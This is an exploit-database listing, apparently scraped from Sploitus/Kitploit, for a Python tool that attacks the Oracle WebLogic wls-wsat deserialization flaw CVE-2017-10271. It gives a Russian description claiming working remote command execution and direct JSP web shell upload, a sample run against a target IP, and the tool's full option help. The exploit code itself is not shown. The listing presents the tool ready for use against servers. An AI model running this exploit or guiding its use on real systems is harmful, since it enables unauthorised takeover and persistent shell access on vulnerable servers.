Sploitus

Exploit for weblogic_wls_wsat_rce

CVE-2017-10271

kitploit · 2026-08-25

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CJJDUCK-WEBLOGIC_WLS_WSAT_RCE
# weblogic_wls_wsat_rce

**Эксплойт для уязвимости десериализации компонента Weblogic wls-wsat (CVE-2017-10271), модифицирован на основеhttps://github.com/s3xy/CVE-2017-10271.**

  * Выполнение команды с выводом результата
  * Прямая загрузка shell
  * Протестировано на Linux с Weblogic 10.3.6.0 — работает



**Использование и параметры**

  * python weblogic_wls_wsat_exp.py -t 172.16.80.131:7001



root@kitploit:~
    
    
    usage: weblogic_wls_wsat_exp.py [-h] -t TARGET [-c CMD] [-o OUTPUT] [-s SHELL]
    
    optional arguments:
      -h, --help            show this help message and exit
      -t TARGET, --target TARGET
                            weblogic ip and port(eg -> 172.16.80.131:7001)
      -c CMD, --cmd CMD     command to execute,default is "id"
      -o OUTPUT, --output OUTPUT
                            output file name,default is output.txt
      -s SHELL, --shell SHELL
                            local jsp file name to upload,and set -o xxx.jsp